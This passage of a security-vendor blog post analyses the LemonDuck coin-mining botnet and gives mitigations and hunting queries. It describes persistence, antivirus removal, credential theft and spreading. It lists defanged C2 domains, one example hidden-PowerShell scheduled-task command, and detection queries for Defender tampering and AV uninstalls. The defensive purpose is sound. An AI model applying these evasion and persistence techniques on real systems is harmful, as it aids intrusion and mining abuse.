investigation guidance.] _\n\nLemonDuck is an actively updated and robust malware primarily known for its botnet and cryptocurrency mining objectives. As we discussed in [Part 1](<https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/>) of this blog series, in recent months LemonDuck adopted more sophisticated behavior and escalated its operations. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\nLemonDuck spreads in a variety of ways, but the two main methods are (1) compromises that are either edge-initiated or facilitated by bot implants moving laterally within an organization, or (2) bot-initiated email campaigns. After installation, LemonDuck can generally be identified by a predictable series of automated activities, followed by beacon check-in and monetization behaviors, and then, in some environments, human-operated actions.\n\nIn this blog post, we share our in-depth technical analysis of the malicious actions that follow a LemonDuck infection. These include general and automatic behavior, as well as human-operated actions. We also provide guidance for investigating LemonDuck attacks, as well as mitigation recommendations for strengthening defenses against these attacks.\n\n\n\n_Figure 2. LemonDuck attack chain from the Duck and Cat infrastructures_\n\n## External or human-initialized behavior\n\nLemonDuck activity initiated from external applications \u2013 as against self-spreading methods like malicious phishing mail \u2013 is generally much more likely to begin with or lead to human-operated activity. These activities always result in more invasive secondary malware being delivered in tandem with persistent access being maintained through backdoors. These human-operated activities result in greater impact than standard infections.\n\nIn March and April 2021, various vulnerabilities related to the [ProxyLogon](<https://security.microsoft.com/threatanalytics3/4ef1fbc5-5659-4d9b-b32e-97a694475955/overview>) set of Microsoft Exchange Server exploits were utilized by LemonDuck to install web shells and gain access to outdated systems. Attackers then used this access to launch additional attacks while also deploying automatic LemonDuck components and malware.\n\nIn some cases, the LemonDuck attackers used renamed copies of the official Microsoft Exchange On-Premises Mitigation Tool to remediate the vulnerability they had used to gain access. They did so while maintaining full access to compromised devices and limiting other actors from abusing the same Exchange vulnerabilities.\n\nThis self-patching behavior is in keeping with the attackers\u2019 general desire to remove competing malware and risks from the device. This allows them to limit visibility of the attack to SOC analysts within an organization who might be prioritizing unpatched devices for investigation, or who would overlook devices that do not have a high volume of malware present.\n\nThe LemonDuck operators also make use of many [fileless malware techniques](<https://www.microsoft.com/security/blog/2018/01/24/now-you-see-me-exposing-fileless-malware/#:~:text=%20These%20techniques%20include%3A%20%201%20Reflective%20DLL,provide%20powerful%20means%20for%20delivering%20memory-only...%20More%20>), which can make remediation more difficult. Fileless techniques, which include persistence via registry, scheduled tasks, WMI, and startup folder, remove the need for stable malware presence in the filesystem. These techniques also include utilizing process injection and in-memory execution, which can make removal non-trivial. It is therefore imperative that organizations that were vulnerable in the past also direct action to investigate exactly how patching occurred, and whether malicious activity persists.\n\nOn the basic side of implementation this can mean registry, scheduled task, WMI and startup folder persistence to remove the necessity for stable malware presence in the filesystem. However, many free or easily available RATs and Trojans are now routinely utilizing process injection and in-memory execution to circumvent easy removal. To rival these kinds of behaviors it\u2019s imperative that security teams within organizations review their incident response and malware removal processes to include all common areas and arenas of the operating system where malware may continue to reside after cleanup by an antivirus solution.\n\n## General, automatic behavior\n\nIf the initial execution begins automatically or from self-spreading methods, it typically originates from a file called _Readme.js_. This behavior could change over time, as the purpose of this .js file is to obfuscate and launch the PowerShell script that pulls additional scripts from the C2. This JavaScript launches a CMD process that subsequently launches Notepad as well as the PowerShell script contained within the JavaScript.\n\nIn contrast, if infection begins with RDP brute force, Exchange vulnerabilities, or other vulnerable edge systems, the first few actions are typically human-operated or originate from a hijacked process rather than from _Readme.js_. After this, the next few actions that the attackers take, including the scheduled task creation, as well as the individual components and scripts are generally the same.\n\nOne of these actions is to establish fileless persistence by creating scheduled tasks that re-run the initial PowerShell download script. This script pulls its various components from the C2s at regular intervals. The script then checks to see if any portions of the malware were removed and re-enables them. LemonDuck also maintains a backup persistence mechanism through WMI Event Consumers to perform the same actions.\n\nTo host their scripts, the attackers use multiple hosting sites, which as mentioned are resilient to takedown. They also have multiple scheduled tasks to try each site, as well as the WMI events in case other methods fail. If all of those fail, LemonDuck also uses its access methods such as RDP, Exchange web shells, Screen Connect, and RATs to maintain persistent access. These task names can vary over time, but \u201cblackball\u201d, \u201cblutea\u201d, and \u201crtsa\u201d have been persistent throughout 2020 and 2021 and are still seen in new infections as of this report.\n\nLemonDuck attempts to automatically disable Microsoft Defender for Endpoint real-time monitoring and adds whole disk drives \u2013 specifically the _C:\\_ drive \u2013 to the Microsoft Defender exclusion list. This action could in effect disable Microsoft Defender for Endpoint, freeing the attacker to perform other actions. [Tamper protection](<https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide>) prevents these actions, but it\u2019s important for organizations to monitor this behavior in cases where individual users set their own exclusion policy.\n\nLemonDuck then attempts to automatically remove a series of other security products through _CMD.exe_, leveraging _WMIC.exe_. The products that we have observed LemonDuck remove include ESET, Kaspersky, Avast, Norton Security, and MalwareBytes. However, they also attempt to uninstall any product with \u201cSecurity\u201d and \u201cAntiVirus\u201d in the name by running the following commands:\n\n\n\nCustom detections in Microsoft Defender for Endpoint or other security solutions can raise alerts on behaviors indicating interactions with security products that are not deployed in the environment. These alerts can allow the quick isolation of devices where this behavior is observed. While this uninstallation behavior is common in other malware, when observed in conjunction with other LemonDuck TTPs, this behavior can help validate LemonDuck infections.\n\nLemonDuck leverages a wide range of free and open-source penetration testing tools. It also uses freely available exploits and functionality such as coin mining. Because of this, the order and the number of times the next few activities are run can change. The attackers can also change the threat\u2019s presence slightly depending on the version, the method of infection, and timeframe. Many .exe and .bin files are downloaded from C2s via encoded PowerShell commands. These domains use a variety names such as the following:\n\n * ackng[.]com\n * bb3u9[.]com\n * ttr3p[.]com\n * zz3r0[.]com\n * sqlnetcat[.]com\n * netcatkit[.]com\n * hwqloan[.]com\n * 75[.]ag\n * js88[.]ag\n * qq8[.]ag\n\nIn addition to directly calling the C2s for downloads through scheduled tasks and PowerShell, LemonDuck exhibits another unique behavior: the IP addresses of a smaller subset of C2s are calculated and paired with a previously randomly generated and non-real domain name. This information is then added into the Windows Hosts file to avoid detection by static signatures. In instances where this method is seen, there is a routine to update this once every 24 hours. An example of this is below:\n\n\n\nLemonDuck is known to use custom executables and scripts. It also renames and packages well-known tools such as XMRig and Mimikatz. Of these, the three most common are the following, though other packages and binaries have been seen as well, including many with _.ori_ file extensions:\n\n * _IF.BIN _(used for lateral movement and privilege escalation)\n * _KR.BIN _(used for competition removal and host patching)\n * _M[0-9]{1}[A-Z]{1}.BIN, M6.BIN, M6.BIN.EXE, or M6G.Bin_ (used for mining)\n\nExecutables used throughout the infection also use random file names sourced from the initiating script, which selects random characters, as evident in the following code:\n\n\n\n## Lateral movement and privilege escalation\n\n_IF.Bin_, whose name stands for \u201cInfection\u201d, is the most common name used for the infection script during the download process. LemonDuck uses this script at installation and then repeatedly thereafter to attempt to scan for ports and perform network reconnaissance. It then attempts to log onto adjacent devices to push the initial LemonDuck execution scripts.\n\n_IF.Bin_ attempts to move laterally via any additional attached drives. When drives are identified, they are checked to ensure that they aren\u2019t already infected. If they aren\u2019t, a copy of _Readme.js_, as well as subcomponents of _IF.Bin_, are downloaded into the drive\u2019s home directory as hidden.\n\nSimilarly, _IF.Bin_ attempts to brute force and use vulnerabilities for SMB, SQL, and other services to move laterally. It then immediately contacts the C2 for downloads.\n\nAnother tool dropped and utilized within this lateral movement component is a bundled Mimikatz, within a _mimi.dat_ file associated with both the \u201cCat\u201d and \u201cDuck\u201d infrastructures. This tool\u2019s function is to facilitate credential theft for additional actions. In conjunction with credential theft, _IF.Bin_ drops additional .BIN files to attempt common service exploits like CVE-2017-8464 (LNK remote code execution vulnerability) to increase privilege.\n\nThe attackers regularly update the internal infection components that the malware scans for. They then attempt brute force or spray attacks, as well as exploits against available SSH, MSSQL, SMB, Exchange, RDP, REDIS and Hadoop YARN for Linux and Windows systems. A sample of ports that recent LemonDuck infections were observed querying include 70001, 8088, 16379, 6379, 22, 445, and 1433.\n\nOther functions built in and updated in this lateral movement component include mail self-spreading. This spreading functionality evaluates whether a compromised device has Outlook. If so, it accesses the mailbox and scans for all available contacts. It sends the initiating infecting file as part of a .zip, .js, or .doc/.rtf file with a static set of subjects and bodies. The mail metadata count of contacts is also sent to the attacker, likely to evaluate its effectiveness, such as in the following command:\n\n\n\n## Competition removal and host patching\n\nAt installation and repeatedly afterward, LemonDuck takes great lengths to remove all other botnets, miners, and competitor malware from the device. It does this via _KR.Bin_, the \u201cKiller\u201d script, which gets its name from its function calls. This script attempts to remove services, network connections, and other evidence from dozens of competitor malware via scheduled tasks. It also closes well-known mining ports and removes popular mining services to preserve system resources. The script even removes the mining service it intends to use and simply reinstalls it afterward with its own configuration.\n\nThis \u201cKiller\u201d script is likely a continuation of older scripts that were used by other botnets such as GhostMiner in 2018 and 2019. The older variants of the script were quite small in comparison, but they have since grown, with additional services added in 2020 and 2021. Presently, LemonDuck seems consistent in naming its variant _KR.Bin_. This process spares the scheduled tasks created by LemonDuck itself, including various PowerShell scripts as well as a task called \u201cblackball\u201d, \u201cblutea\u201d, or \u201crtsa\u201d, which has been in use by all LemonDuck\u2019s infrastructures for the last year along with other task names.\n\nThe attackers were also observed manually re-entering an environment, especially in instances where edge vulnerabilities were used as an initial entry vector. The attackers also patch the vulnerability they used to enter the network to prevent other attackers from gaining entry. As mentioned, the attackers were seen using a copy of a Microsoft-provided mitigation tool for Exchange ProxyLogon vulnerability, which they hosted on their infrastructure, to ensure other attackers don\u2019t gain web shell access the way they had. If unmonitored, this scenario could potentially lead to a situation where, if a system does not appear to be in an unpatched state, suspicious activity that occurred before patching could be ignored or thought to be unrelated to the vulnerability.\n\n## Weaponization and continued impact\n\nA miner implant is downloaded as part of the monetization mechanism of LemonDuck. The implant used is usually XMRig, which is a favorite of GhostMiner malware, the [Phorpiex botnet](<https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/>), and other malware operators. The file uses any of the following names:\n\n * _M6.bin_\n * _M6.bin.ori_\n * _M6G.bin_\n * _M6.bin.exe_\n * _<File name that follows the regex pattern M[0-9]{1}[A-Z]{1}>.BIN._\n\nOnce the automated behaviors are complete, the threat goes into a consistent check-in behavior, simply mining and reporting out to the C2 infrastructure and mining pools as needed with encoded PowerShell commands such as those below (decoded):\n\n\n\nOther systems that are affected bring in secondary payloads such as Ramnit, which is a very popular Trojan that has been seen being dropped by other malware in the past. Additional backdoors, other malware implants, and activities continuing long after initial infection, demonstrating that even a \u201csimple\u201d infection by a coin mining malware like LemonDuck can persist and bring in more dangerous threats to the enterprise.\n\n## Comprehensive protection against a wide-ranging malware operation\n\nThe cross-domain visibility and coordinated defense delivered by [Microsoft 365 Defender](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>) is designed for the wide range and increasing sophistication of threats that LemonDuck exemplifies. Below we list mitigation actions, detection information, and advanced hunting queries that Microsoft 365 Defender customers can use to harden networks against threats from LemonDuck and other malware operations.\n\n### Mitigations\n\nApply these mitigations to reduce the impact of LemonDuck. Check the recommendations card for the deployment status of monitored mitigations.\n\n * Prevent threats from arriving via removable storage devices by blocking these devices on sensitive endpoints. If you allow removable storage devices, you can minimize the risk by turning off autorun, enabling real-time antivirus protection, and blocking untrusted content. [Learn about stopping threats from USB devices and other removable media](<https://docs.microsoft.com/windows/security/threat-protection/device-control/control-usb-devices-using-intune>).\n * Ensure that Linux and Windows devices are included in routine patching, and validate protection against the CVE-2019-0708, CVE-2017-0144, CVE-2017-8464, CVE-2020-0796, CVE-2021-26855, CVE-2021-26858, and CVE-2021-27065 vulnerabilities, as well as against brute-force attacks in popular services like SMB, SSH, RDP, SQL, and others.\n * [Turn on PUA protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/detect-block-potentially-unwanted-apps-windows-defender-antivirus>). Potentially unwanted applications (PUA) can negatively impact machine performance and employee productivity. In enterprise environments, PUA protection can stop adware, torrent downloaders, and coin miners.\n * Turn on [tamper protection features](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-antivirus/prevent-changes-to-security-settings-with-tamper-protection>)to prevent attackers from stopping security services.\n * Turn on [cloud-delivered protection](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-antivirus/enable-cloud-protection-microsoft-defender-antivirus>)and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.\n * Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware. [Turn on network protection](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-atp/enable-network-protection>)to block connections to malicious domains and IP addresses.\n * Check your [Office 365 antispam policy](<https://docs.microsoft.com/microsoft-365/security/office-365-security/configure-your-spam-filter-policies>)and your [mail flow rules](<https://docs.microsoft.com/microsoft-365/security/office-365-security/create-safe-sender-lists-in-office-365#recommended-use-mail-flow-rules>) for allowed senders, domains and IP addresses. [Apply extra caution](<https://docs.microsoft.com/exchange/troubleshoot/antispam/cautions-against-bypassing-spam-filters>) when using these settings to bypass antispam filters, even if the allowed sender addresses are associated with trusted organizations\u2014Office 365 will honor these settings and can let potentially harmful messages pass through. [Review system overrides in threat explorer](<https://docs.microsoft.com/microsoft-365/security/office-365-security/threat-explorer#system-overrides>) to determine why attack messages have reached recipient mailboxes.\n\n### Attack surface reduction\n\nTurn on the following attack surface reduction rules, to block or audit activity associated with this threat:\n\n * [Block executable content from email client and webmail](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-content-from-email-client-and-webmail>)\n * [Block JavaScript or VBScript from launching downloaded executable content](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-javascript-or-vbscript-from-launching-downloaded-executable-content>)\n * [Block Office applications from creating executable content](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-applications-from-creating-executable-content>)\n * [Block all office applications from creating child processes](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-all-office-applications-from-creating-child-processes>)\n * [Block executable files from running unless they meet a prevalence, age, or trusted list criterion](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion>)\n * [Block execution of potentially obfuscated scripts](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-execution-of-potentially-obfuscated-scripts>)\n * [Block persistence through WMI event subscription](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-persistence-through-wmi-event-subscription>)\n * [Block process creations originating from PSExec and WMI commands](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-process-creations-originating-from-psexec-and-wmi-commands>)\n\n### Antivirus detections\n\nMicrosoft Defender Antivirus detects threat components as the following malware:\n\n * TrojanDownloader:PowerShell/LemonDuck!MSR\n * TrojanDownloader:Linux/LemonDuck.G!MSR\n * Trojan:Win32/LemonDuck.A\n * Trojan:PowerShell/LemonDuck.A\n * Trojan:PowerShell/LemonDuck.B\n * Trojan:PowerShell/LemonDuck.C\n * Trojan:PowerShell/LemonDuck.D\n * Trojan:PowerShell/LemonDuck.E\n * Trojan:PowerShell/LemonDuck.F\n * Trojan:PowerShell/LemonDuck.G\n * TrojanDownloader:PowerShell/LodPey.A\n * TrojanDownloader:PowerShell/LodPey.B\n * Trojan:PowerShell/Amynex.A\n * Trojan:Win32/Amynex.A\n\n### Endpoint detection and response (EDR) alerts\n\nAlerts with the following titles in the security center can indicate threat activity on your network:\n\n * LemonDuck botnet C2 domain activity\n * LemonDuck malware\n\nThe following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.\n\n * Suspicious PowerShell command line\n * Suspicious remote activity\n * Suspicious service registration\n * Suspicious Security Software Discovery\n * Suspicious System Network Configuration Discovery\n * Suspicious sequence of exploration activities\n * Suspicious Process Discovery\n * Suspicious System Owner/User Discovery\n * Suspicious System Network Connections Discovery\n * Suspicious Task Scheduler activity\n * Suspicious Microsoft Defender Antivirus exclusion\n * Suspicious behavior by cmd.exe was observed\n * Suspicious remote PowerShell execution\n * Suspicious behavior by svchost.exe was observed\n * A WMI event filter was bound to a suspicious event consumer\n * Attempt to hide use of dual-purpose tool\n * System executable renamed and launched\n * Microsoft Defender Antivirus protection turned off\n * Anomaly detected in ASEP registry\n * A script with suspicious content was observed\n * An obfuscated command line sequence was identified\n * A process was injected with potentially malicious code\n * A malicious PowerShell Cmdlet was invoked on the machine\n * Suspected credential theft activity\n * Outbound connection to non-standard port\n * Sensitive credential memory read\n\n### Advanced hunting\n\nThe LemonDuck botnet is highly varied in its payloads and delivery methods after email distribution so can sometimes evade alerts. You can use the advanced hunting capability in Microsoft 365 Defender and Microsoft Defender for Endpoint to surface activities associated with this threat.\n\n**NOTE:** The following sample queries lets you search for a week's worth of events. To explore up to 30 days worth of raw data to inspect events in your network and locate potential Lemon Duck-related indicators for more than a week, go to the **Advanced Hunting** page > **Query** tab, select the calendar drop-down menu to update your query to hunt for the **Last 30 days**.\n\n**LemonDuck template subject lines**\n\nLooks for subject lines that are present from 2020 to 2021 in dropped scripts that attach malicious LemonDuck samples to emails and mail it to contacts of the mailboxes on impacted machines. Additionally, checks if Attachments are present in the mailbox. General attachment types to check for at present are .DOC, .ZIP or .JS, though this could be subject to change as well as the subjects themselves. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAG2RQUvDQBCF31nwP-ytCnroUUElxEoEUUirxWOiXRuNicSkpeCP99vJepESZnYz8-a9mdmZPlWoUq2ZNlqpUa9vHepAP3Laak2sw5zmGlTqnfsLGEdNgz_SRAtDOc4OTM-fUyuPT_WgJ93qWqea6gzsCfY_6mBKqdiYypcpVHRVRxVPzmmpjLqRIVOiO_Qy4gk8gW1ONtezzo0_x-7JOcvleiQfasNkE7gWuolcS_otbKI-zuHRH_QR82-ot3olXmpHfox6asJetlhtndbcer6wrxFTcmvhWdmmvG35rz7srGLTLvodyAF82FyHWmC5Ane89y0SUyroc837ja-WGkNjk1zqAj_VLyyp2szeAQAA&runQuery=true&timeRangeId=week>)\n\n`EmailEvents \n| where Subject in ('The Truth of COVID-19','COVID-19 nCov Special info WHO','HALTH ADVISORY:CORONA VIRUS', \n'WTF','What the fcuk','good bye','farewell letter','broken file','This is your order?') \n| where AttachmentCount >= 1`\n\n**LemonDuck Botnet Registration Functions**\n\nLooks for instances of function runs with name \u201cSIEX\u201d, which within the Lemon Duck initializing scripts is used to assign a specific user-agent for reporting back to command-and-control infrastructure with. This query should be accompanied by additional surrounding logs showing successful downloads from component sites. [Run query in Microsfot 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAG2PuwrCQBRETy34D4ufIViID7ATYmFhE9yAAV9oMIgm3-7ZLQRBhvtgmJm7O6fiQc3euXCrONNwZ8iAN4GWg9zNCkxVNWovajY8uWZ2IgIj1vJt1hbZcxQzuZModUQ1_1OjqL_Jpb6le0qIviRd6O3pxoud_Tc1MePcC1b-YZv3zvoA7T5fgtwAAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceEvents \n| where ActionType == \"PowerShellCommand\" \n| where AdditionalFields =~ \"{\\\"Command\\\":\\\"SIEX\\\"}\"`\n\n**LemonDuck keyword identification**\n\nLooks for simple usage of LemonDuck seen keyword variations initiated by PowerShell processes. All results should reflect Lemon_Duck behavior, however there are existing variants of Lemon_Duck that might not use this term explicitly, so validate with additional hunting queries based on known TTPs. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAJ2NQQrCMBBF_1rwDqErBfEGrqyCUKQ3kKLFBpsojdoKHt7nbESX8pnM8P7MT65ad3nt6aU6nW1KaAWvFXVlHmukp5x6NbCOctrgeVyvyt6o40_CGtoyb9kIdrNATpkubPWWlCyxRXP6QGV__rZkDqjCO6iwnfdlA0naGX9oQn4BD2xHaK4bCSfo7Mv58Klezaq6iiQBAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName == \"powershell.exe\" \n| where InitiatingProcessCommandLine has_any(\"Lemon_Duck\",\"LemonDuck\")`\n\n**LemonDuck Microsoft Defender tampering**\n\nLooks for a command line event where LemonDuck or other like malware might attempt to modify Defender by disabling real-time monitoring functionality or adding entire drive letters to the exclusion criteria. The exclusion additions will often succeed even if tamper protection is enabled due to the design of the application. Custom alerts could be created in an environment for particular drive letters common in the environment. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAKWRzQqCQBSFzzroHcRVgT1EpIugIKp9mFoappL9LXr4vhkNrJUQl5m53jPnnOsdX4nuyhRxrnRRabOaCKgnKnQldzTUQC_Oh1KqF5ajOWgGnim0e6Hjj8aM_EyEYLEW9o5hplRq7dhzwtFIrjYgV020VGVVEh1ap8LqufK46cpHpYa5h5lozTIqxv9MvsSx6aqE2_T0YU7pIe7hEOjJd64bPpnV-_4rV-PORCqLncAiXJ1eE_D-mJ7h-p1Xm4OZ2radQI1aSFbpDTwRAUzcAQAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessCommandLine has_all (\"Set-MpPreference\", \"DisableRealtimeMonitoring\", \"Add-MpPreference\", \"ExclusionProcess\") \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Antivirus uninstallation attempts**\n\nLooks for a command line event where LemonDuck or other similar malware might attempt to modify Defender by disabling real-time monitoring functionality or adding entire drive letters to the exclusion criteria. The exclusion additions will often succeed even if tamper protection is enabled due to the design of the application. Custom alerts could be created in an environment for particular drive letters common in the environment. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEALWQzUrEQBCE6yz4DiEnF0SfwIP4A6IsguBVQja4wyaTMBN_FsRn97M2u6LeBBl6plPdVV2dczV6VlDNe6uk3lnmXIA3ihrJ97WnNxV60RIsEYWuqAWqQZXvqMcfCpegLfmcjs6cE71zl-h0nnkE-kqUf5xwRt5xKmoL3bjnk7kEyXrgbjkH6A_mLfQEd_w2p9QhEXceW1RWO7yeNAqY0foZ_gbbdByD9a6MVqw8IfjvlZr922ZRa292bWSwdrbz9eSswkNlv1_fw5Rn-mp2SvaxZTTGt_2n3inonkj05gmf4y1R6akXuvulNNMH1HgRaFYCAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName =~ \"wmic.exe\" \n| where InitiatingProcessCommandLine has_all(\"product where\",\"name like\",\"call uninstall\",\"/nointeractive\") \n| where InitiatingProcessCommandLine has_any(\"Kaspersky\",\"avast\",\"avp\",\"security\",\"eset\",\"AntiVirus\",\"Norton Security\")`\n\n**Known LemonDuck component script installations**\n\nLooks for instances of the callback actions which attempt to obfuscate detection while downloading supporting scripts such as those that enable the \u201cKiller\u201d and \u201cInfection\u201d functions for the malware as well as the mining components and potential secondary functions. Options for more specific instances included to account for environments with potential false positives. Most general versions are intended to account for minor script or component changes such as changing to utilize non .bin files, and non-common components. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAN2QzWrCUBCFz1roO1xctSC60p2rVlEQ8Q0kJrYJJlGS-Ac-vN8dA9rgwm3LMHcm58zPmXxprYMShcSFCm0tK7ER-Fq5KvI3tXSR01ExWIE7TeES2ESBvbl-GhPGoCn5nIrMenyV07va2lF3tFmlzUyxLvGEt9XBQ3qiB-zjqYpXdHySZ1gAF2lmNb43Bim15PXbvaoePQ4uhNuSVcw513oiU5xTvwdNNaxxr7LfqEmJAV-RaQpq9qZjR3_Fjoltj-0yB1Pw-gv__j2e62pluu7X_Z_bNsy83-eRRN8NJNPg1z-4At8RQUloAwAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName in (\"powershell.exe\",\"cmd.exe\") \n| where InitiatingProcessCommandLine has_all(\"/c echo try\",\"down_url=\",\"md5\",\"downloaddata\",\"ComputeHash\") or \nInitiatingProcessCommandLine has_all(\"/c echo try\",\"down_url=\",\"md5\",\"downloaddata\",\"ComputeHash\",\".bin\") or \nInitiatingProcessCommandLine has_all(\"/c echo try\",\"down_url=\",\"md5\",\"downloaddata\",\"ComputeHash\",\"kr.bin\",\"if.bin\",\"m6.bin\")`\n\n**LemonDuck named scheduled creation**\n\nLooks for instances of the LemonDuck creates statically named scheduled tasks or a semi-unique pattern of task creation LemonDuck also utilizes launching hidden PowerShell processes in conjunction with randomly generated task names. An example of a randomly generated one is: "schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn fs5yDs9ArkV\\2IVLzNXfZV/F /tr "powershell -w hidden -c PS_CMD". [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAKWS0WrCQBBF77PgPyx5UrD6BX3S-mRLwQ8o2ygoGpXdtGlB_PaenSQlFV-kLLO53Jmde3eyM631qa1yvq8KOhqKrCf4tQ4qwX31dJZTpQ1cIJzmnNqDXuRVGPOoC3tGfU5dCR-1I8Zkv4jsZp-_qlNwwfIor7RA42BVG-s2oMeE2nTSo5B6Dv_d9c3476Z7CXZ6526e8zuQB-_Jja7yH-bAX2WCTcybM4duYE8O73WUNG_dt9YKqNc44jxarvjNpj_Q4gKlrsMWzztsaPCJ2spmGG2WyYPTA1xytsXpyt5E4nKb8hKvUz1rZvf9AWK9PVhOAgAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where FileName =~ \"schtasks.exe\" \n| where ProcessCommandLine has(\"/create\") \n| where ProcessCommandLine has_any(\"/tn blackball\",\"/tn blutea\",\"/tn rtsa\") or \nProcessCommandLine has_all(\"/create\",\"/ru\",\"system\",\"/sc\",\"/mo\",\"/tn\",\"/F\",\"/tr\",\"powershell -w hidden -c PS_CMD\")`\n\n**Competition killer script scheduled task execution**\n\nLooks for instances of the LemonDuck component KR.Bin, which is intended to kill competition prior to making the installation and persistence of the malware concrete. The killer script used is based off historical versions from 2018 and earlier, which has grown over time to include scheduled task and service names of various botnets, malware, and other competing services. The version currently in use by LemonDuck has approximately 40-60 scheduled task names. The upper maximum in this query can be modified and adjusted to include time bounding. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAJWRT0_CQBDF35nE79D0BAkRDhw4oBeqCQbUxD_XBguxhlpMW8EaP7y_HQppiATMZmZnZt_MvLwNNNdKb4q475VpaVHOuaI-V6qC-EwN_cjTWjG1DPP20EPid86UjpnGTEwNFVPJFeITTlM-WUS1sPoCOwf3hflqYx0FxAlW1GqPut3F1_jWjlGuz2pvxs5v2-myBVHIq5vTPIlri84XlfigpskIxHaX41mYJrMKteX5zMTEmLj9F5jjk-FLWCTW8woyhsuGU3gip7-U_8-E-g-ksHE_MOHOyTeKPtDnuJZVfme8I2Pt6YZ4hXl60gdzp7V_WaKyf4DjYXUuTZ-euqbSMS0Hhu6D_gUG3Q8GqgIAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where ProcessCommandLine has_all(\"schtasks.exe\",\"/Delete\",\"/TN\",\"/F\") \n| summarize make_set(ProcessCommandLine) by DeviceId \n| extend DeleteVolume = array_length(set_ProcessCommandLine) \n| where set_ProcessCommandLine has_any(\"Mysa\",\"Sorry\",\"Oracle Java Update\",\"ok\") where DeleteVolume >= 40 and DeleteVolume <= 80`\n\n**LemonDuck hosts file adjustment for dynamic C2 downloads**\n\nLooks for a PowerShell event wherein LemonDuck will attempt to simultaneously retrieve the IP address of a C2 and modify the hosts file with the retrieved address. The address is then attributed to a name that does not exist and is randomly generated. The script then instructs the machine to download data from the address. This query has a more general and more specific version, allowing the detection of this technique if other activity groups were to utilize it. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAMWQuwrCYAyFzyz4DqWTgvgGDmK9gYigu5S22IK20op18OH9Erro4OAiIZc_OTknbaRMdxVKyDvVqrxqsDn9TKVu1H319FSgVjm9Gg-0ZlYwLRR7LHX6YFjQPVNvQVx8Z4IFCnUF1TpT44xnbEx-4OGPajPqCxYzS7VxjG3mdBodiaYygH9J_6YV-IY8BZ26irFYDDXCDZN0dd5hbTaE0y6s2PnHXWv432cHNvZs1J3-9_vtHfn_L9Gt0E952_Wxf90Lt1_r6hICAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName == \"powershell.exe\" \n| where InitiatingProcessCommandLine has_all(\"GetHostAddresses\",\"etc\",\"hosts\") \nor InitiatingProcessCommandLine has_all(\"GetHostAddresses\",\"IPAddressToString\",\"etc\",\"hosts\",\"DownloadData\")`\n\n \n\n[Learn how your organization can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>).\n\n \n\nThe post [When coin miners evolve, Part 2: Hunting down LemonDuck and LemonCat attacks](<https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", 